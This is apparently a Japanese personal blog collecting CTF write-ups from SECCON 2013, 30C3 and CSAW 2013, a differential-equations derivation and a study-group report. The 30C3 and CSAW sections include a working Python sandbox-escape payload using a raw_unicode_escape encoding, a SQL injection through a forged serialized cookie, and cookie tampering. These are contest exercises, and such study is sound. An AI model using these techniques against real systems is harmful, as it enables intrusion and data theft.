しおあめにっき!

ひらがなかわいい

SECCON 2013 CTF Online Quals に参加しました

参加しました

SECCON 2013 CTF オンライン予選にチームで参加しました。

私は結局のところ、『数「毒」ちゃれんじ★』のみの解答でした。もはや CTF をやっているか怪しいレベルなので、精進したいと思います。そのうち。

『数「毒」ちゃれんじ★』の Writeup

各ステージで数独の問題が与えられます。 X の部分だけ可変でその値が問題ごとに与えられますが、特にひねりもないので、やるだけです。方針としては、数独のルールに則って確実に埋めていったあと、まだ埋まっていないマスがあればバックトラック法で無理やり埋める方法でいきました。

コード (Python 3)

変に長いので、ご注意ください。

#!/usr/bin/env python3

import copy
import re
import telnetlib
import time


def generate_xy():
    return ((i%9, i//9) for i in range(81))

class Square(object):
    def __init__(self):
        self.boolcube = [[[True for n in range(9)]
                          for y in range(9)]
                         for x in range(9)]
        self.numbers = [[None for y in range(9)] for x in range(9)]

    def copy(self):
        copied = self.__class__()
        copied.boolcube = copy.deepcopy(self.boolcube)
        copied.numbers = copy.deepcopy(self.numbers)
        return copied

    def pickup_candidates(self, x, y):
        return [n for n in range(9) if self.boolcube[x][y][n]]

    def fill(self, x, y, n):
        for i in range(9):
            px = x//3*3+i%3
            py = y//3*3+i//3
            self.boolcube[i][y][n] = False
            self.boolcube[x][i][n] = False
            self.boolcube[x][y][i] = False
            self.boolcube[px][py][n] = False
        self.boolcube[x][y][n] = True
        self.numbers[x][y] = n

    def ban(self, x, y, n):
        self.boolcube[x][y][n] = False

    def is_completed(self):
        for x, y in generate_xy():
            if self.numbers[x][y] is None:
                return False
        return True

    def is_valid(self):
        for x, y in generate_xy():
            if len(self.pickup_candidates(x, y)) == 0:
                return False
        return True

    def compute_impact_score(self, x, y, n):
        count = 0
        for i in range(9):
            px = x//3*3+i%3
            py = y//3*3+i//3
            count += 1 if self.boolcube[i][y][n] else 0
            count += 1 if self.boolcube[x][i][n] else 0
            count += 1 if self.boolcube[x][y][i] else 0
            count += 1 if self.boolcube[px][py][n] else 0
        if self.boolcube[x][y][n]:
            count -= 4
        return count


def count_solution(problem):
    has_changed = True
    while has_changed:
        has_changed = False
        for x, y in generate_xy():
            if problem.numbers[x][y] is not None:
                continue
            candidates = problem.pickup_candidates(x, y)
            if len(candidates) == 1:
                problem.fill(x, y, candidates[0])
                has_changed = True
    if not problem.is_valid():
        return 0
    if problem.is_completed():
        return 1
    solutions = 0
    candidates = list()
    for x, y in generate_xy():
        if problem.numbers[x][y] is not None:
            continue
        for n in range(9):
            score = problem.compute_impact_score(x, y, n)
            candidates.append((score, x, y, n))
    candidates.sort(reverse=True)
    for score, x, y, n in candidates:
        copied = problem.copy()
        copied.fill(x, y, n)
        problem.ban(x, y, n)
        solutions += count_solution(copied)
    return solutions

def decode_numbers(square_string):
    pattern = re.compile('\\w ' + '\\|(.)'*9)
    lines = square_string.replace('\r', '').split('\n')
    index = 0
    numbers = [[None for y in range(9)] for x in range(9)]
    for y in range(9):
        while True:
            matched = pattern.search(lines[index])
            index += 1
            if matched is None:
                continue
            for x in range(9):
                s = matched.group(x+1)
                if s == '.':
                    s = None
                elif s != 'X':
                    s = int(s)-1
                numbers[x][y] = s
            break
    return numbers

def decode_xinfo(xinfo):
    matched = re.search('if \'X\' is (\\d+), how many solutions', xinfo)
    if matched is None:
        raise Exception
    return int(matched.group(1))-1

def generate_answer(numbers, xvalue):
    problem = Square()
    for x, y in generate_xy():
        if numbers[x][y] is None:
            continue
        if numbers[x][y] == 'X':
            problem.fill(x, y, xvalue)
        else:
            problem.fill(x, y, numbers[x][y])
    solutions = count_solution(problem)
    return str(solutions)

def main():
    tn = telnetlib.Telnet('133.242.48.175', 65434)
    while True:
        time.sleep(0.5)
        problem_string = tn.read_very_eager().decode()
        if 'Stage' in problem_string:
            numbers = decode_numbers(problem_string)
        print(problem_string, end='')
        x = decode_xinfo(problem_string)
        answer = generate_answer(numbers, x)
        print(answer)
        tn.write(answer.encode()+b'\n')

if __name__ == '__main__':
    main()

途中経過

'suDOKU(su-poison)' challenge for SECCON 2013.
by KeigoYAMAZAKI, 2013.11.22-

* Stage 1

   1 2 3 4 5 6 7 8 9 
  $-+-+-$-+-+-$-+-+-$
A |6|4|2|.|X|5|.|8|9|
B |.|.|.|.|.|7|1|3|.|
C |1|.|.|.|9|.|.|2|.|
  $-+-+-$-+-+-$-+-+-$
D |3|.|.|.|2|6|.|.|.|
E |7|.|.|8|.|9|.|.|2|
F |2|8|.|.|7|4|6|1|.|
  $-+-+-$-+-+-$-+-+-$
G |.|7|1|.|.|3|.|6|.|
H |.|6|3|7|.|.|.|.|1|
I |5|.|8|.|6|.|.|7|.|
  $-+-+-$-+-+-$-+-+-$

if 'X' is 1, how many solutions does this sudoku have?  => 1
if 'X' is 3, how many solutions does this sudoku have?  => 2

*** Good job!

* Stage 2

   1 2 3 4 5 6 7 8 9 
  $-+-+-$-+-+-$-+-+-$
A |X|5|.|.|.|.|.|.|.|
B |.|.|6|5|7|3|2|.|.|
C |.|.|2|8|4|.|.|.|5|
  $-+-+-$-+-+-$-+-+-$
D |.|.|8|.|3|7|9|.|1|
E |.|6|1|.|9|.|.|.|.|
F |5|.|7|4|.|.|.|.|.|
  $-+-+-$-+-+-$-+-+-$
G |7|.|.|9|.|.|.|3|2|
H |.|.|.|.|.|.|.|4|.|
I |6|.|.|.|.|.|7|.|8|
  $-+-+-$-+-+-$-+-+-$

if 'X' is 1, how many solutions does this sudoku have?  => 0
if 'X' is 3, how many solutions does this sudoku have?  => 0
if 'X' is 4, how many solutions does this sudoku have?  => 1
if 'X' is 8, how many solutions does this sudoku have?  => 3
if 'X' is 9, how many solutions does this sudoku have?  => 12

*** Good job!

* Stage 3

   1 2 3 4 5 6 7 8 9 
  $-+-+-$-+-+-$-+-+-$
A |.|3|5|1|6|4|.|.|9|
B |7|9|.|.|5|3|.|.|4|
C |.|.|1|.|.|.|5|2|3|
  $-+-+-$-+-+-$-+-+-$
D |3|5|4|6|7|.|.|.|.|
E |.|.|6|9|.|.|3|.|.|
F |.|2|7|3|.|5|.|4|1|
  $-+-+-$-+-+-$-+-+-$
G |4|6|.|5|.|7|2|.|8|
H |.|1|.|.|.|.|4|7|6|
I |8|.|X|4|.|.|9|.|.|
  $-+-+-$-+-+-$-+-+-$

if 'X' is 2, how many solutions does this sudoku have?  => 2
if 'X' is 3, how many solutions does this sudoku have?  => 1

*** Good job!

* Stage 4

   1 2 3 4 5 6 7 8 9 
  $-+-+-$-+-+-$-+-+-$
A |.|.|2|1|.|.|6|.|.|
B |1|.|5|.|8|.|.|.|.|
C |8|X|.|.|.|9|.|.|.|
  $-+-+-$-+-+-$-+-+-$
D |.|.|7|.|.|.|5|.|.|
E |.|.|.|6|.|.|3|.|8|
F |.|3|.|5|2|4|.|.|1|
  $-+-+-$-+-+-$-+-+-$
G |2|8|.|4|.|.|.|.|6|
H |6|.|.|9|.|3|8|2|.|
I |.|5|9|.|.|.|.|.|3|
  $-+-+-$-+-+-$-+-+-$

if 'X' is 4, how many solutions does this sudoku have?  => 2
if 'X' is 6, how many solutions does this sudoku have?  => 0
if 'X' is 7, how many solutions does this sudoku have?  => 1

*** Good job!

* Stage 5

   1 2 3 4 5 6 7 8 9 
  $-+-+-$-+-+-$-+-+-$
A |.|.|.|2|3|5|8|4|9|
B |2|5|.|.|4|.|.|.|.|
C |3|4|.|X|8|.|.|5|.|
  $-+-+-$-+-+-$-+-+-$
D |.|8|2|9|5|.|.|6|.|
E |1|.|.|6|.|8|5|.|4|
F |6|.|.|3|.|.|1|9|8|
  $-+-+-$-+-+-$-+-+-$
G |.|6|.|8|.|2|.|7|.|
H |.|3|1|.|.|.|.|.|.|
I |.|.|.|5|9|.|.|1|.|
  $-+-+-$-+-+-$-+-+-$

if 'X' is 1, how many solutions does this sudoku have?  => 2
if 'X' is 7, how many solutions does this sudoku have?  => 1

*** Good job!

* Stage 6

   1 2 3 4 5 6 7 8 9 
  $-+-+-$-+-+-$-+-+-$
A |8|1|.|2|.|5|4|6|7|
B |.|.|.|.|7|6|1|8|9|
C |.|6|.|.|8|.|3|5|2|
  $-+-+-$-+-+-$-+-+-$
D |1|.|.|9|2|4|.|3|X|
E |.|9|3|8|6|.|.|1|4|
F |7|4|.|3|5|1|.|2|.|
  $-+-+-$-+-+-$-+-+-$
G |.|.|.|6|1|8|2|7|5|
H |.|.|.|7|4|3|.|.|1|
I |6|.|.|5|.|.|8|4|3|
  $-+-+-$-+-+-$-+-+-$

if 'X' is 6, how many solutions does this sudoku have?  => 2
if 'X' is 8, how many solutions does this sudoku have?  => 1

*** Good job!



*************************************************************************
*** Congratulations! Flag is 'iitai-koto mo ienai konna yononaka-ja!' ***
*************************************************************************

フラグが得られました。ぱちぱち。

30C3 CTF に参加しました

30C3 CTF に参加しました。初心者には絶望的でした。しかし、なんとか1問解けたので救われた気はします。

SNDBOX 300: PyExec

問題概要

攻撃対象のウェブアプリケーションと、そのソースが与えられます。このウェブアプリケーションは、入力された Python コードをサンドボックス内で実行し、その出力を表示します。

解法

ソースコードを読むと、サンドボックスは次の方式によって不正なコードの実行を防いでいます。

まず、チェックに引っかかるコードを投げてみます。

    print eval

もちろんブラックリストに引っかかるので、 forbidden と返ってきました。今度は、このコードを rot13 でエンコードして投げてみます。

    # coding: rot13
    cevag riny

今度は、ブラックリストをすり抜け、 <built-in function eval> と返ってきました。やったね!こんな感じでうまくいきそうです。

ところで、 rot13 はアルファベットを変換するだけで、記号類は変換することができません。一方、ホワイトリスト^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$ となっており、括弧やダブルクォーテーションが使えません。つまり、 rot13 での回避法では、関数に引数を渡すことができず、できることに限界があるわけです。

rot13 以外に使えそうなエンコードはないかなと思い Python ドキュメントのエンコーディング一覧 を見てみると、 raw_unicode_escape というものがありました。これは、ユニコード文字を \u002e のようにエスケープするエンコード方式のようです。これを使えば、任意の文字をエスケープすることができそうです。そして、このエスケープ方式はホワイトリストをすり抜けられる形をしています。というわけで、これを使って、 eval('1') を表示してみます。

    # coding: raw_unicode_escape
    print eva\u006c\u0028\u00271\u0027\u0029

結果は、期待通り 1 と表示されました。やったね!

あとはフラグを探すだけです。カレントディレクトリのファイル一覧を表示させるコードを投げてみます。

    # coding: raw_unicode_escape
    impor\u0074 os
    for f in os\u002elis\u0074di\u0072\u0028\u0027\u002e\u0027\u0029:
        print f

すると、次のような結果が得られました。

    .bash_logout
    flag.txt
    webapp.py
    .bashrc
    .profile
    .viminfo
    .cache
    .bash_history
    static

フラグを表示させましょう。

    # coding: raw_unicode_escape
    with ope\u006e\u0028\u0027flag\u002etxt\u0027\u0029 as f:
        print f\u002eread\u0028\u0029

フラグが得られました。

    30C3_2a2766d9cf4a137d517a8227bd71d59d

ぱちぱち。

CSAW CTF 2013 Qualification Round に参加しました

全体的な話

CSAW CTF はオンラインで年一回だけ開催される入門レベルの CTF コンテストです。 CTF 初心者である私は、時間制限があるコンテストも世界規模のコンテストも初めてだったので、わくわくどきどきしながらエントリーすることにしました。今回の問題構成は、次の通りでした。数字は配点です。

  • Trivia - 50, 50, 50, 50, 50
  • Recon - 100, 100, 100, 100, 100, 100, 100, 100
  • Web - 100, 200, 300, 400, 400
  • Reversing - 100, 100, 150, 200, 300, 400, 500, 500
  • Exploitation - 100, 200, 300, 400, 400, 500
  • Miscellaneous - 50, 50, 100, 200, 300
  • Crypto - 100, 300, 500

入門レベルなら、と思って参加したのですが、かなり難しく感じました。しかしながら、72時間もあったので、少しずつ問題を進めていき、結果的に、2150点を獲得することができました。リバースエンジニアリングとかその辺がまったくできないので、精進して来年はもっと得点したい所存です!!

解けた問題の Writeup とか感想とか

全然記録をとっておらず、うろ覚えで書いてあるところもあるので、多少間違っている可能性があります。

Trivia

Trivia は知識問題で、やるだけ、ググるだけの問題です。英語力が悲惨だったため、3問目が少々苦戦しましたが、無事全問解けました。

Recon

Recon はソーシャルエンジニアリングのような問題で、設問は大会関係者の名前の検索結果などから始まります。

Alexander Taylor (100 pt)

問題: https://www.google.com/search?&q=Alexander+Taylor

コンテスト終了数時間前にヒントが出てきて、解くことができました。

ヒントは PNG 画像を探すことを示唆する内容でした。そこで、コンテストの審査員ページを見てみると、 Alexander Taylor の PNG 画像が掲載されていたので、保存し、とりあえずテキストエディタで開いてみると、チャンクを調べることを示唆する内容が書かれていました。そこで、 TweekPNG を用いてチャンクを解析したところ、未定義のチャンク xORkkTXt があることが判明しました。この2つをテキストエディタで探してみると、 xORk の後には CSAW というデータが、 kTXt とその次のチャンクとの間にはある程度の長さのデータが含まれていました。 xORkkTXt がそれぞれ、 XOR とテキストデータを示唆していると考えると、 kTXt 直後のデータを CSAW で XOR すれば良さそうです。

#!/usr/bin/env python3
csaw = b'CSAW'
with open('ataylor.png', 'rb') as f:
    filedata = f.read()
    ktxt_pos = filedata.find(b'kTXt')
    data = filedata[ktxt_pos+4:ktxt_pos+100]
for i, c in enumerate(data):
    print(chr(c^csaw[i%4]), end='')

あとはこんなスクリプトを書いて実行すると、フラグが現れました。ぱちぱち。これで100ポイント。

key{SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE}

シーサーが示唆。

historypeats (100 pt)

問題: https://www.google.com/search?&q=historypeats

昨年の Writeup を参考に historypeats を NameChk で調べてみると、reddit のアカウントを発見しました。そこに、フラグが書かれていたのでドヤ顔でサブミットしたら、違うと言われました…!つらすぎて何度もサブミットしたのですが、例外なくリジェクトされました。どうやら、参加者のいたずらのようです。

これでやる気を失って、無気力に探していたら、案外簡単に見つかってしまいました。

  1. historypeats をググって Twitter へ。
  2. Twitter のプロフィールのリンクから、ブログへ。
  3. ブログのコンタクトページから Github へ。
  4. Github での最新のコミットの diff へ。
  5. おやっ?これはフラグでは…!
key{whatDidtheF0xSay?}
Brandon Edwards (100 pt)

問題: https://www.google.com/search?&q=Brandon+Edwards historypeats ができた後、すぐにやったら簡単にできました。

  1. そのまま検索するとフットボールの人が出てくるので、 "football" を NOT にかけて検索。
  2. 目的の Bradon Edwards の Twitter アカウントが見つかるので、スクリーンネームで検索。
  3. Github アカウントが見つかるので、所属している Organization のアカウントへ。
  4. そのアカウントのプロフィールのリンクへ進む。
  5. 進んだページの HTML にコメントとしてフラグが…!
<!-- b.edwards csaw key{a959962111ea3fed179eb044d5b80407} -->
Theodore Reed (100 pt)

問題: http://prosauce.org/

  1. 設問である http://prosauce.org/ にアクセス。
  2. Projects ページへ。
  3. Video リンクへ。 Youtube のページが出てきます。
  4. コメントを表示します。
  5. フラグ!

If you're playing CSAWCTF2013 and looking for a flag try: shmoonconrocksglhfwithcsaw

Web

得点源のはずでした。

Guess Harder (100 pt)

問題は、ログインページでした。リンクなどは何もないので、頑張ってログインすれば、フラグが出てきそうな感じでした。

パスワードしか入力するものがないので、簡単な SQL インジェクションの問題かなと思って、定石をいくつか試したのですが、うまくいきませんでした。そこで、 Burp を使ってどんなリクエストとレスポンスが返ってきているのか見ることにしました。すると、素晴らしい Cookie が…!

admin=false

falsetrue に変更してアクセスしたらフラグが出てきました!

Nevernote (200 pt)

めんどうなので、問題の説明はあとで書きます。

「 Admin は送られてきたメッセージのリンクは全部見るよ」というヒントが出たのですが、まさか本当にリンクにアクセスしてくれるわけはないよな、と思って少しひねくれたことを試していましたが、どれもうまくいきませんでした。そんなすごいことをしてくれることはない、ということを証明するために、サーバを立てて、そのサーバへのリンクを送りつけたら、本当にアクセスしてきました!!!びっくり!!!結局のところ、次のようにすればよかったわけです。

  1. サーバを立てて、アクセス情報を全て記録するようにする。
  2. サーバへのリンクを Admin に送りつける。
  3. Admin のアクセス記録のリファラから、メッセージ表示ページへの URI を得る。
  4. メッセージ表示ページの下に Admin のノート一覧があるはずなので、ノートを見てみる。
  5. ノートにフラグが…!

これにてフラグをゲットしました。なお、 Heroku を使うと良い感じでした。

WidgetCorp (400 pt)

めんどうなので、問題の説明はあとで書きます。

いろいろと入力できるところがあったのですが、 SQL インジェクションできそうなところはなさそうだったので、 Cookie をごにょごにょして admin 権限でログインできないか、なんてことを考えました。そこで Cookie を見てみると、PHPSESSID widget_tracker widget_validate の3種類がありました。 PHPSESSID はおなじみのものですが、残りの2つは見たことがないものです。とりあえず、 widget_validate の値をでたらめに変更してみたところ、「クラックを検知しました」と言わました。つらい。 widget_tracker の値をよく見てみると、 Base64エンコードされているようなので、デコードしてみると、次のようなテキストデータでした。

a:2:{i:0;i:2034;i:1;i:2038;}

よく見てみると、作成したウィジェットの ID がデータとして埋め込まれているようでした。これを使えば何かできそうな予感がしたので、 widget_validate の仕組みの解決に挑みました。この値は128桁の16進数であったことから、 SHA512 の可能性が高そうだと思いました。とりあえず、先ほどデコードした widget_tracker の値を SHA512 にかけてみたら見事一致しました。これで「クラックを検知しました」と言われることなく、実験できそうです。

ここまで済んだので widget_tracker の値をいじって動作を実験してみることにしました。すこし実験してみてわかったのですが、このデータは a:1:{i:0;i:2034;} ではウィジェット一覧に ID:2034 のデータが表示されるのに、 a:1:{i:0;i:2034} では表示されないというくらい、柔軟性のないものでした。

なので、このデータ構造の仕様を知る必要がありました。どう検索していいか分からなかったので、思い切ってデータそのものをググってみたところ、同じようなデータがヒットしました。そのデータをみたところ、 i は整数型の識別であることや、a は配列で a:N:{i:0;X:Y;i:1; ...; i:N-1;X:Y;} という形式であることが分かりました。また、文字列型は ss:N:"string" (N は文字数) という形式であることも分かりました。

ここまで分かったので、 a:1:{i:0;i:2034;} の代わりに a:1:{i:0;s:4:"2034";} と値を変えて同じように動作するか実験してみたところ、予想通り、 ID: 2034 のデータが表示されました。そうなれば、 SQL インジェクションを意識せざるを得ません。そこで、 a:1:{i:0;s:10:"2034 ; -- ";} というデータを送ったところ、ご丁寧なこと、エラーメッセージが返ってきました。パースエラーだそうです。そのメッセージにしたがって、括弧をつけて a:1:{i:0;s:10:"2034); -- ";} というデータを送ったら、エラーが表示されなくなりました。ここまでくれば、こちらのものです! 素晴らしい SQL インジェクションの解説 のように、 union all を使ってごにょごにょすれば、もうあっという間!実際、 flag テーブルの flag カラムにフラグがありました。

テーブル名とカラム名は少しひねるべきだと思います!!

Reversing

リバースエンジニアリングの分野ですね!!

DotNet (100 pt)

タイトル通り、 .NET な EXE が問題でした。とりあえず動かしてみると、パスコードの入力が求められ、でたらめな値を入力してみると、「残念!さやかちゃんでした」と表示されました。

ILSpy というツールを使って、 C# なコードに変換してみると、こんなコードが出てきました。

string value = Console.ReadLine();
long num = Convert.ToInt64(value);
long num2 = 53129566096L;
long num3 = 65535655351L;
if ((num ^ num2) == num3) {
    ....

(num ^ num2) == num3(num2 ^ num3) == num と等価なはずなので、左辺を計算すると、 13371337255 となります。これを入力してみると、フラグが表示されました。

flag{I'll create a GUI interface using visual basic...see if I can track an IP address.}
CSAW Reversing 2013 1 (100 pt)

問題は EXE ファイルでした。これを動かしてみると、よく分からない文字列が表示されました。「リバースエンジニアリングとかよくわからないけれども、頑張って OllyDbg とか IDA とか使ってフラグを見つけるぞ!」と意気込んで、デバッガに読み込ませました。とりあえず、ブレークポイントとか何も付けないで動かしてみたら、なぜかフラグが表示されました。こわい。

flag{this1isprettyeasy:)}

Exploitation

正直言って Exploitation がどんな分野なのか分からないのですが、ソフトウェアをいじめて本来動作しないはずのことをさせる、という分野なのでしょうか?

Exploitation 1 (100 pt)

問題は、 netcat コマンドと exploit1 というバイナリと exploit1.c という C のソースの断片でした。この分野はよくわからないので、指示通りに netcat で通信してみると、何か入力を求められました。とりあえず、ものすごい量の a を送ってみると楽しそうだったので、そうしてみたところ、フラグが出てきました。こわい。

Misc

雑多な問題集です。たぶん。

Networking 1 (50 pt)

問題は、パケットキャプチャファイル networking.pcap です。 Wireshark で開いてみると、 Telnet で通信しているようなので、通信しているデータを順に見ていくとフラグが見つかりました。

flag{d316759c281bf925d600be698a4973d5}
Networking 2 (50 pt)

問題は、前の問題と同じパケットキャプチャファイルと、よく分からないファイル networking.pcap.process です。よく分からないので、とりあえずテキストエディタで調べてみたら、フラグが書いてありました。こわい。

flag{f9b43c9e9c05be5e08ea163007af5144}.exe
Black & White (100 pt)

問題は、 PNG 画像です。開いてみると何も面白くない白いだけの画像でした。どのくらい白いのか気になったので、お絵かきツールで調べてみたところ、 RGB が #ffffff の部分と #fefefe の部分があることが分かりました。そこで、 #ffffff 以外の部分を黒く染めてみたところ、フラグが浮かび上がってきました。

key{forensics_is_fun}

Life (300 pt)

問題は、 netcat コマンドでした。言われるがままに netcat してみると、"Round: 1 Generations: 36" のようなテキストの下に、 # で書かれた四角の中に * が散らばっているようなテキストがくっついたものが返ってきました。それから数秒すると、 "Timed out" と表示され、コネクションが閉じられます。タイトルや、返ってきたデータから察すると、ライフゲームをシミュレートすることが求められているようでした。

とりあえず、指定された世代だけライフゲームをシミュレートして、結果をサーバに送りつけると、 Round 2 として同じようなデータが返ってきました。どうやらこの方針は正しいようなので、続けて同様のやりとりをするスクリプトを書きました。

#!/usr/bin/env python3

import telnetlib
import time

def parse(data):
    data = data.split('\n')
    gen = int(data[1].split()[3])
    cells = list()
    for l in data[3:-2]:
        cells.append(list())
        for c in l.strip().strip('#'):
            if c == '*':
                cells[-1].append(True)
            else:
                cells[-1].append(False)
    return gen, cells

def simulate(gen, cells):
    height = len(cells)
    width = len(cells[0])
    for i in range(gen):
        new = list()
        for x in range(height):
            new.append(list())
            for y in range(width):
                count = 0
                for dx in (-1, 0, 1):
                    for dy in (-1, 0, 1):
                        if dx == dy == 0:
                            continue
                        x_n, y_n = x+dx, y+dy
                        if x_n < 0 or y_n < 0 or height<=x_n or width<=y_n:
                            continue
                        if cells[x_n][y_n]:
                            count += 1
                if cells[x][y]:
                    if 1 < count < 4:
                        new[x].append(True)
                    else:
                        new[x].append(False)
                else:
                    if count == 3:
                        new[x].append(True)
                    else:
                        new[x].append(False)
        cells = new
    return cells

def generate_form(cells):
    width = len(cells[0])
    res = '#'*(width+2)+'\n'
    for line in cells:
        res += '#'
        for c in line:
            if c:
                res += '*'
            else:
                res += ' '
        res += '#\n'
    res += '#'*(width+2)+'\n'
    return res

if __name__ == '__main__':
    tn = telnetlib.Telnet('128.238.66.216', 45678)
    while True:
        time.sleep(1)
        data = tn.read_very_eager().decode()
        print(data)                          # 返ってきたデータを表示
        gen, cells = parse(data)             # データをパース
        cells = simulate(gen, cells)
        form = generate_form(cells)
        print(form)                          # 送るデータを表示
        tn.write(form.encode())
    tn.close()

Round 100 くらいまでいったあと、フラグが表示され、データのパースする箇所でエラーが起きてスクリプトが終了しました。

Crypto

暗号系の問題のはずですが、何をおっしゃっているのか全然分からなくてこわい…。

定数係数二階線形常微分方程式を解きました

はじめに

微分方程式の解説書を読むと、定数係数二階線形常微分方程式 y'' + a y' + b y = f(x) ( ab は定数)の解法について、唐突に「自由度が2だから」とだけ述べて、非斉次方程式の2つの独立な特解を線形結合して、更に斉次方程式の特解を加えると一般解になると主張しています。何を言っているのか分からないので、別な方法で解いてみることにします。

補題1

y_0y' = f(x) の特解、 c を任意の定数とすると、 y'=f(x) の一般解は、 y = y_0 + c と表される。

証明

y' = f(x) の任意の特解 y に対し、次の関数を定義できます。
\epsilon = y - y_0

これを y について変形し、方程式に代入すると、  y_0' = f(x) より、
\epsilon' = 0
を得ます。ここで、ラグランジュ平均値の定理より、任意の x (\neq 0) に対し、  0 < c < x または  x < c < 0 となる c が存在し、
\displaystyle \frac{\epsilon(x)-\epsilon(0)}{x} = \epsilon'(c) = 0
となるので、 \epsilon(x)=\epsilon(0) です。すなわち、 x の値によらず、一定の値を示すので、この関数は定数関数です。また、定数関数のとる値によらず、方程式が成立するので、命題は示されました。

補足

今後、必要に応じて y'=f(x) の一般解のうちの1つ、すなわち特解を、
\displaystyle \int f(x) dx
と表記することにします。また、これによって、一般解は、任意の定数 c を用いて、
\displaystyle \int f(x) dx + c
書くことにします。

補題2

任意の関数 f(x)g(x) 、定数  \alpha に対し、

  1. \displaystyle \int \left( f(x) + g(x) \right) dx = \int f(x) dx + \int g(x) dx
  2. \displaystyle \int \alpha f(x) dx = \alpha \int f(x) dx

が成立する。

証明

証明は省略します。微分の線形性を用いれば容易に証明が可能です。

補題3

\lambda を定数とする。このとき、 y' - \lambda y = f(x) の一般解は、任意の定数  c を用いて次のように表せる。
\displaystyle y = e^{\lambda x} \left( \int f(x) e^{-\lambda x} dx + c \right)

証明

関数 z := y e^{-\lambda x}y について変形すると、
y = z e^{\lambda x}
となります。これを、方程式の左辺に代入すると、
y' - \lambda y = (z' e^{\lambda x} + \lambda z e^{\lambda x}) - \lambda z e^{\lambda x} = z' e^{\lambda x}
となります。したがって、  c を任意の定数として、
y' - \beta y = f(x) \; \Leftrightarrow \; z' e^{\lambda x} = f(x) \; \Leftrightarrow \; z' = f(x) e^{-\lambda x}
補題1より、
\displaystyle z = \int f(x) e^{-\lambda x} dx + c
\displaystyle y = e^{\lambda x} \left( \int f(x) e^{-\lambda x} dx + c \right)

解く

それでは、  y'' + a y' + b y = f(x) を解いてみましょう。

\lambda^2 + a \lambda + b = 0 の2解を \alpha\beta とすると、
a = -(\alpha + \beta)
b = \alpha \beta
となるので、方程式の左辺は、
y'' + a y' + b y = y'' - (\alpha + \beta) y' + \alpha \beta y = (y' - \alpha y)' - \beta (y' - \alpha y)
となります。ここで、 z := y' - \alpha y を導入すると、この方程式は、
z' - \beta z = f(x)
と書けます。

補題3より、この方程式の解は、任意の定数 c_1 を用いて、
\displaystyle z = e^{\beta x} \left( \int f(x) e^{-\beta x} dx + c_1 \right)
となります。

ところで、 z は次のように定義されました。
z := y' - \alpha y
z は明らかになっているので、補題3より、 c_2 を任意定数とすると、この解は、
\displaystyle y = e^{\alpha x} \left( \int z e^{-\alpha x} dx + c_2 \right)
となります。ここで、先ほど明らかにした z を代入すると、
\displaystyle y = e^{\alpha x} \left( \int e^{(\beta - \alpha) x} \left( \int f(x) e^{-\beta x} dx + c_1 \right)dx + c_2 \right)
補題2より、
\displaystyle y = e^{\alpha x} \int \left( \int f(x) e^{-\beta x} dx \right) e^{(\beta - \alpha) x} dx + c_1 e^{\alpha x} \int e^{(\beta - \alpha) x} dx + c_2 e^{\alpha x}
となります。

相異なる2解 \alpha \neq \beta のとき

k を適当な定数とすると、
\displaystyle \int e^{(\beta - \alpha) x} dx = \frac{1}{\beta - \alpha} e^{(\beta - \alpha) x} + k
なので(定義にしたがって容易に証明可能)、
\displaystyle y = e^{\alpha x} \int \left( \int f(x) e^{-\beta x} dx \right) e^{(\beta - \alpha) x} dx + \frac{c_1}{\beta - \alpha} e^{\beta x} + c_1 k e^{\alpha x} + c_2 e^{\alpha x}
ここで、 c_1 k + c_2c_1 / (\beta - \alpha) は互いに独立な任意の値をとることができるので、それぞれ c_1c_2 に置き直すと、
\displaystyle y = e^{\alpha x} \int \left( \int f(x) e^{-\beta x} dx \right) e^{(\beta - \alpha) x} dx + c_1 e^{\alpha x} + c_2 e^{\beta x}
が得られます。

重解 \alpha = \beta のとき

k を適当な定数とすると、
\displaystyle \int e^{(\beta - \alpha) x} dx = \int 1 dx = x + k
なので(定義にしたがって容易に証明可能)、
\displaystyle y = e^{\alpha x} \int \left( \int f(x) e^{-\beta x} dx \right) dx + c_1 e^{\alpha x} (x + k) + c_2 e^{\alpha x}
ここで、 c_1 k + c_2 は他の定数に対し、独立な任意の値をとることができるので、これを c_2 に置き換えると、
\displaystyle y = e^{\alpha x} \int \left( \int f(x) e^{-\alpha x} dx \right) dx + c_1 x e^{\alpha x} + c_2 e^{\alpha x}
が得られます。

まとめ

本に書いてある方法は結果的にあっていた

非斉次方程式の独立な特解2つを、線形結合するというのは、今回の結果にもよく示されています。そして、その特解の解の形もやはり一致しています。

また、斉次方程式の特解を、非斉次方程式の一般解に加える、という操作も今回の結果に現れています。

斉次方程式の特解を求める方程式が見つかった

斉次方程式の特解 y_0 というのは、試行錯誤して求めなくてはなりませんでした。しかし、今回、
\displaystyle y_0 = e^{\alpha x} \int \left( \int f(x) e^{-\beta x} dx \right) e^{(\beta - \alpha) x} dx
という、まとまった公式を得ることができたのは、大きな成果だと思います。

「Security.GS in 北海道」に行ってきました

始まるまで

圧倒的睡眠不足によって迎えてしまった、「Security.GS in 北海道」。勉強会というものに参加するのは初めてであり、不安と期待と不安を抱きながら、会場に向かいました。会場内は、ノートパソコンにステッカーをたくさん貼った集団が各自何らかの作業をしているようで、この光景に、「これは圧倒的戦力不測だ、戦力不足だ、戦力…」と頭の中でインフィニットループして絶望的な気分になりました。

始まってから

メインの @isidai さんのお話から勉強会が始まりました。明らかに知識不足だったので、付いてこれるか心配でしたが、知っている内容から丁寧に知らない内容に誘導されたので、全体を通して楽しめました。

続いて、 @ren_hx さんのセキュリティ診断のデモンストレーションがありました。面倒だと思いながらも curl コマンドで頑張っていた身としては、ツールの存在を知れたこと、そして、それを使うとどんなに楽かということが分かり、よい機会になりました。

@ww24 さんの CSRF 対策の Google Chrome Extension を作ったという LT では、あまり意識したことのなかった CSRF について考えさせられるだけでなく、実装までの試行錯誤の説明によって、知らないことがいくつか聞けて、為になる面白い発表でした。また、発表時にタブレットスマートフォンを使う場合には、画面ロックを無効にすべきだという貴重な知識を得られました。

終わってから

初めての勉強会で不安が大きかったのですが、帰る頃には、申し込んで本当によかったと思いました。今は大したことをやっていないので必要はないのですが、いずれ必要になったら、ゲヒルンのサービスを使ってみたいと思います。

イラストと写真の識別法を考えたが、あまり良い方法ではなかった

TWitter での会話。

日本語にすらなっていない私のリプライに、質問がくるのは当然だ。むしろ興味をもって質問されるだけ、ありがたい。しかし、何を主張したいのか説明するだけの日本語能力は、私にはなかった。この記事では、私が何を主張したかったのか、図や数式を用いて説明する。

イラストと写真を識別するアイデア

